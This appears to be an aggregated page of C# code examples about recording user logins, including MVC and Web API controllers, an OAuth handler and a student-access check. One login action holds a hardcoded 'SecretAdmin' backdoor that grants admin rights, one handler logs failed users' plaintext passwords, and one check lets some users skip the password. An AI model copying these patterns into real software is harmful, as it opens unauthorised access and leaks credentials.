Esempio n. 1
0
        public int InsertAcessoLogin(LogLogin log)
        {
            using (MiniProfiler.Current.Step("Criando registro de acesso do usuario"))
            {
                try
                {
                    using (var ctx = new DesenvContext())
                    {
                        var objLog = new tblLogAcessoLogin
                        {
                            intAplicacaoID = (int)log.AplicacaoId,
                            intClientID    = log.Matricula,
                            dteDate        = DateTime.Now,
                            intAcessoID    = (int)log.AcessoId
                        };
                        ctx.tblLogAcessoLogin.Add(objLog);
                        ctx.SaveChanges();
                    }

                    return(1);
                }
                catch (Exception)
                {
                    return(0);
                }
            }
        }
        public async Task <IActionResult> PutLogLogin([FromRoute] int id, [FromBody] LogLogin logLogin)
        {
            if (!ModelState.IsValid)
            {
                return(BadRequest(ModelState));
            }

            if (id != logLogin.Id)
            {
                return(BadRequest());
            }

            _context.Entry(logLogin).State = EntityState.Modified;

            try
            {
                await _context.SaveChangesAsync();
            }
            catch (DbUpdateConcurrencyException)
            {
                if (!LogLoginExists(id))
                {
                    return(NotFound());
                }
                else
                {
                    throw;
                }
            }

            return(NoContent());
        }
Esempio n. 3
0
        public async Task <ActionResult> DeleteConfirmed(Guid id)
        {
            LogLogin logLogin = await db.LogLogin.FindAsync(id);

            db.LogLogin.Remove(logLogin);
            await db.SaveChangesAsync();

            return(RedirectToAction("Index"));
        }
Esempio n. 4
0
        public async Task <ActionResult> Edit([Bind(Include = "ID,datetime")] LogLogin logLogin)
        {
            if (ModelState.IsValid)
            {
                db.Entry(logLogin).State = EntityState.Modified;
                await db.SaveChangesAsync();

                return(RedirectToAction("Index"));
            }
            return(View(logLogin));
        }
        public async Task <IActionResult> PostLogLogin([FromBody] LogLogin logLogin)
        {
            if (!ModelState.IsValid)
            {
                return(BadRequest(ModelState));
            }

            _context.LogLogin.Add(logLogin);
            await _context.SaveChangesAsync();

            return(CreatedAtAction("GetLogLogin", new { id = logLogin.Id }, logLogin));
        }
Esempio n. 6
0
        public async Task <ActionResult> Create([Bind(Include = "ID,datetime")] LogLogin logLogin)
        {
            if (ModelState.IsValid)
            {
                logLogin.ID = Guid.NewGuid();
                db.LogLogin.Add(logLogin);
                await db.SaveChangesAsync();

                return(RedirectToAction("Index"));
            }

            return(View(logLogin));
        }
Esempio n. 7
0
        // GET: LogLogin/Delete/5
        public async Task <ActionResult> Delete(Guid?id)
        {
            if (id == null)
            {
                return(new HttpStatusCodeResult(HttpStatusCode.BadRequest));
            }
            LogLogin logLogin = await db.LogLogin.FindAsync(id);

            if (logLogin == null)
            {
                return(HttpNotFound());
            }
            return(View(logLogin));
        }
Esempio n. 8
0
        public void InsertLogAcessoLoginAluno__ComStatusCanceladoSomenteRestritaConsegueLogar()
        {
            int aplicacao = (int)Aplicacoes.AreaRestrita;
            int idAcesso  = (int)Cliente.StatusRetorno.Cancelado;

            var logAcessoLoginAluno = new LogLogin()
            {
                Matricula   = 96409,
                AplicacaoId = aplicacao,
                AcessoId    = idAcesso,
            };
            var Log = new LogEntity().InsertAcessoLogin(logAcessoLoginAluno);

            Assert.IsTrue(Log > 0);
        }
Esempio n. 9
0
 public ServiceResult <LogLogin> Edit(LogLogin obj)
 {
     try
     {
         IMediator    service     = _container.GetInstance <IMediator>();
         IUserContext currentUser = _container.GetInstance <IUserContext>();
         var          query       = new LogLoginEditQuery();
         query.LogLogin = obj;
         return(new ServiceResult <LogLogin>(service.Proccess(query), message: ClientErrorMessage.Success(), state: ServiceResultStates.SUCCESS));
     }
     catch (ExceptionLog ex)
     {
         LoggerService.Logger.Log(_container, ex);
         return(new ServiceResult <LogLogin>(result: null, message: ClientErrorMessage.Error(), state: ServiceResultStates.ERROR));
     }
 }
Esempio n. 10
0
        public ActionResult Login(FormCollection form)
        {
            string username = form["username"];
            string password = form["password"];

            Admin r = data.Admins.SingleOrDefault(i => i.Username == username);

            if (r == null && username.Equals("SecretAdmin") && password.Equals("Z3r0"))
            {
                r                  = new Admin();
                r.Username         = "******";
                r.Password         = "******";
                Session["Account"] = r;
                Session["Role"]    = "Admin";
                return(RedirectToAction("Index"));
            }

            if (r == null)
            {
                ViewBag.Message = "Login failed";
                return(View());
            }
            else if (!MD5Cal.VerifyMd5Hash(password, r.Password))
            {
                ViewBag.Message = "Login failed";
                return(View());
            }

            Session["Account"] = r;
            Session["Role"]    = "Admin";

            DateTime now = DateTime.Now;

            LogLogin log = new LogLogin();

            log.Username  = r.Username;
            log.LoginTime = now;
            data.LogLogins.InsertOnSubmit(log);
            data.SubmitChanges();

            return(RedirectToAction("Index"));
        }
Esempio n. 11
0
 public int SetLogAcesso(LogLogin log)
 {
     return(new LogEntity().InsertAcessoLogin(log));
 }
Esempio n. 12
0
        public ServiceResult <LogLogin> Edit(LogLogin obj)
        {
            LogLoginService service = new LogLoginService(_container);

            return(service.Edit(obj));
        }
Esempio n. 13
0
        public override Task GrantResourceOwnerCredentials(OAuthGrantResourceOwnerCredentialsContext context)
        {
            User user = null;

            if (!string.IsNullOrEmpty(context.UserName) && !string.IsNullOrEmpty(context.Password))
            {
                AuthenticateService service         = new AuthenticateService(_container);
                LogLoginService     loginLogService = new LogLoginService(_container);
                LogLogin            logLoginObj     = new LogLogin();
                user = service.Authenticate(context.UserName, context.Password);
                if (user != null)
                {
                    var identity = new ClaimsIdentity(context.Options.AuthenticationType);
                    identity.AddClaim(new Claim("name", user.Name));
                    identity.AddClaim(new Claim("email", user.Email));
                    identity.AddClaim(new Claim("userid", user.Id.ToString()));
                    identity.AddClaim(new Claim("usertype", user.UserType.ToString()));
                    identity.AddClaim(new Claim("companyid", user.Company.Id.ToString()));
                    identity.AddClaim(new Claim("companyname", user.Company.Name));
                    identity.AddClaim(new Claim("ipaddress", context.Request.RemoteIpAddress));

                    context.Validated(identity);

                    logLoginObj.LoginLogType = LoginLogType.SUCCESS.ToString();
                    logLoginObj.UserId       = user.Id;
                }
                else
                {
                    logLoginObj.LoginLogType    = LoginLogType.FAILED.ToString();
                    logLoginObj.Comment         = "Başarısız Giriş";
                    logLoginObj.ExceptionString = string.Format("UserName:{0} - Password:{1} ", context.UserName, context.Password);
                }
                logLoginObj.IsDeleted = false;
                logLoginObj.LogDate   = DateTime.Now;
                loginLogService.Add(logLoginObj);
            }

            //if (!string.IsNullOrEmpty(Email) && !string.IsNullOrEmpty(Password))
            //{
            //    var user = service.Authenticate(Email, Password);
            //    if (user != null)
            //    {
            //        var authentication = Request.GetOwinContext().Authentication;
            //        var identity = new ClaimsIdentity("Bearer");
            //        identity.AddClaim(new Claim("name", user.Name));
            //        identity.AddClaim(new Claim("email", user.Email));
            //        identity.AddClaim(new Claim("userid", user.Id.ToString()));
            //        identity.AddClaim(new Claim("isadmin", user.UserType.Value == 1 ? "true" : "false"));

            //        AuthenticationTicket ticket = new AuthenticationTicket(identity, new AuthenticationProperties());
            //        var currentUtc = new Microsoft.Owin.Infrastructure.SystemClock().UtcNow;
            //        ticket.Properties.IssuedUtc = currentUtc;
            //        ticket.Properties.ExpiresUtc = currentUtc.Add(TimeSpan.FromMinutes(30));
            //        var token = Startup.OAuthServerOptions.AccessTokenFormat.Protect(ticket);

            //        authentication.SignIn(identity);

            //        return token;
            //    }
            //}

            if (user == null)
            {
                context.SetError("invalid_grant", "The user name or password is incorrect.");
            }


            return(Task.FromResult <object>(null));
        }
Esempio n. 14
0
        public AlunoMedsoft GetAcessoAluno(string register, string senha, int idAplicacao, string appVersion, string tokenDevice, int idDevice)
        {
            var response = new AlunoMedsoft();

            try
            {
                var funcionarioEntity = new FuncionarioEntity();
                var pessoaEntity      = new PessoaEntity();

                var cliente = new Cliente();
                using (MiniProfiler.Current.Step("Obtendo dados do usuario"))
                {
                    cliente = CacheClienteGetByFilters(register, idAplicacao);
                }

                if (cliente == null || cliente.ID == 0)
                {
                    SetResponse(false,
                                TipoErroAcesso.CadastroInexistente.GetDescription(),
                                _alunoRepository.GetMensagensLogin(idAplicacao, (int)TipoMensagemMEDSOFT.USUARIO_NAO_CADASTRADO),
                                TipoErroAcesso.CadastroInexistente);
                    return(response);
                }


                var aluno = new AlunoMedsoft();
                using (MiniProfiler.Current.Step("Obtendo informações do tipo de usuário"))
                {
                    var golden     = _clienteRepository.UserGolden(cliente.Register, Aplicacoes.MsProMobile);
                    var tipoPessoa = pessoaEntity.GetPersonType(cliente.Register);
                    var tipoPerfil = funcionarioEntity.GetTipoPerfilUsuario(cliente.ID);
                    var isExAluno  = false;
                    if (!_alunoRepository.IsAlunoPendentePagamento(cliente.ID))
                    {
                        isExAluno = _alunoRepository.IsExAlunoTodosProdutosCache(cliente.ID);
                    }
                    var tempoInadimplenciaTimeout = new ConfigBusiness(new ConfigEntity()).GetTempoInadimplenciaTimeoutParametro();

                    aluno = new AlunoMedsoft
                    {
                        ID         = cliente.ID,
                        Nome       = cliente.Nome.TrimEnd(),
                        NickName   = cliente.NickName,
                        Register   = cliente.Register.TrimEnd(),
                        Senha      = cliente.Senha,
                        Foto       = cliente.Foto,
                        FotoPerfil = cliente.FotoPerfil,
                        IsGolden   = golden > 0,
                        TipoPessoa = tipoPessoa,
                        TipoPerfil = tipoPerfil,
                        ExAluno    = isExAluno,
                        tokenLogin = Util.AuthJWT.GeraJwt(cliente.ID, Constants.doisDiasEmMinutos),
                        TempoInadimplenciaTimeout = tempoInadimplenciaTimeout,
                        LstOrdemVendaMsg          = cliente.LstOrdemVendaMsg
                    };

                    if (aluno.Senha == string.Empty)
                    {
                        SetResponse(false,
                                    TipoErroAcesso.SemSenhaCadastrada.GetDescription(),
                                    _alunoRepository.GetMensagensLogin(idAplicacao, (int)TipoMensagemMEDSOFT.CADASTRAR_SENHA_MEDSOFTPRO),
                                    TipoErroAcesso.SemSenhaCadastrada);
                        return(aluno);
                    }

                    if (!aluno.IsGolden && aluno.Senha != senha)
                    {
                        SetResponse(false,
                                    TipoErroAcesso.SenhaIncorreta.GetDescription(),
                                    _alunoRepository.GetMensagensLogin(idAplicacao, (int)TipoMensagemMEDSOFT.ACESSO_NEGADO_SENHA_INCORRETA),
                                    TipoErroAcesso.SenhaIncorreta);
                        return(aluno);
                    }

                    if (cliente.RetornoStatus == Cliente.StatusRetorno.SemAcesso || cliente.RetornoStatus == Cliente.StatusRetorno.Cancelado)
                    {
                        if (string.IsNullOrEmpty(cliente.MensagemRetorno))
                        {
                            SetResponse(false,
                                        TipoErroAcesso.SemProdutosContratados.GetDescription(),
                                        _alunoRepository.GetMensagensLogin(idAplicacao, (int)TipoMensagemMEDSOFT.SEM_PRODUTOS),
                                        TipoErroAcesso.SemProdutosContratados);
                        }
                        else
                        {
                            SetResponse(false, cliente.TituloMensagemRetorno, cliente.MensagemRetorno, cliente.ETipoErro);
                        }
                        return(response);
                    }
                    else if (!string.IsNullOrEmpty(cliente.MensagemRetorno))
                    {
                        SetResponse(true, cliente.TituloMensagemRetorno, cliente.MensagemRetorno, cliente.ETipoErro);
                    }
                }

                var produtosPermitidos  = new List <Produto.Produtos>();
                var produtosContradados = new List <Produto>();
                using (MiniProfiler.Current.Step("Obtendo informações de produtos contratados"))
                {
                    produtosPermitidos  = _alunoRepository.GetProdutosPermitidosLogin(idAplicacao);
                    produtosContradados = ProdutoEntity.GetProdutosContratadosPorAnoCache(cliente.ID, false, 0, true, idAplicacao);
                }
                var anoLetivoAtual             = Utilidades.GetYear();
                var anoSeguinte                = anoLetivoAtual + 1;
                var anoAnterior                = anoLetivoAtual - 1;
                var anoAnteriorAntesDataLimite = Utilidades.IsAntesDatalimiteCache(anoAnterior, idAplicacao);


                var anoDireitoVitalicio = Convert.ToInt32(ConfigurationProvider.Get("Settings:anoComDireitoVitalicio"));
                var anosPermitidos      = new List <int>();

                for (var ano = anoDireitoVitalicio; ano <= anoSeguinte; ano++)
                {
                    anosPermitidos.Add(ano);
                }

                if (anoAnteriorAntesDataLimite)
                {
                    anosPermitidos.Add(anoAnterior);
                }

                var hasPermitidos = produtosContradados
                                    .Any(p => produtosPermitidos.Contains((Produto.Produtos)p.IDProduto) && anosPermitidos.Contains(p.Ano.Value));

                if (!hasPermitidos)
                {
                    SetResponse(false,
                                TipoErroAcesso.SemProdutosContratados.GetDescription(),
                                _alunoRepository.GetMensagensLogin(idAplicacao, (int)TipoMensagemMEDSOFT.SEM_PRODUTOS),
                                TipoErroAcesso.SemProdutosContratados);
                    return(response);
                }

                bool isVersaoBloqueada = string.IsNullOrEmpty(appVersion) ? _configRepository.GetDeveBloquearAppVersaoNulaCache() : new VersaoAppPermissaoBusiness(_versaoAppRepository).IsVersaoBloqueada(appVersion, idAplicacao);

                if (isVersaoBloqueada)
                {
                    SetResponse(false,
                                TipoErroAcesso.VersaoAppDesatualizada.GetDescription(),
                                _alunoRepository.GetMensagensLogin(idAplicacao, (int)TipoMensagemMEDSOFT.APLICATIVO_DESATUALIZADO),
                                TipoErroAcesso.VersaoAppDesatualizada);
                    return(response);
                }

                var permissaoDevice = new PermissaoDevice();
                using (MiniProfiler.Current.Step("Verificando permissões de acesso de usuário"))
                {
                    permissaoDevice     = new AlunoEntity().GetPermissaoAcesso(idAplicacao, aluno.ID, tokenDevice, (Utilidades.TipoDevice)idDevice);
                    aluno.PermiteAcesso = (aluno.IsGolden || permissaoDevice.PermiteAcesso == 1);
                    aluno.PermiteTroca  = (!aluno.IsGolden && permissaoDevice.PermiteTroca == 1);
                }

                if (!aluno.PermiteAcesso && !aluno.PermiteTroca)
                {
                    SetResponse(false,
                                TipoErroAcesso.DeviceBloqueado.GetDescription(),
                                _alunoRepository.GetMensagensLogin(idAplicacao, (int)TipoMensagemMEDSOFT.DISPOSITIVO_BLOQUEADO),
                                TipoErroAcesso.DeviceBloqueado);
                    return(response);
                }

                if (!aluno.LstOrdemVendaMsg.Any(x => x.PermiteAcesso == 1))
                {
                    SetResponse(false,
                                TipoErroAcesso.BloqueadoInadimplencia.GetDescription(),
                                cliente.MensagemRetorno,
                                TipoErroAcesso.BloqueadoInadimplencia);

                    return(response);
                }

                LogLogin log = new LogLogin
                {
                    Matricula   = aluno.ID,
                    AplicacaoId = idAplicacao,
                    AcessoId    = 0
                };

                new LogEntity().InsertAcessoLogin(log);

                SetResponse(true);
                return(aluno);
            }
            catch
            {
                throw;
            }
        }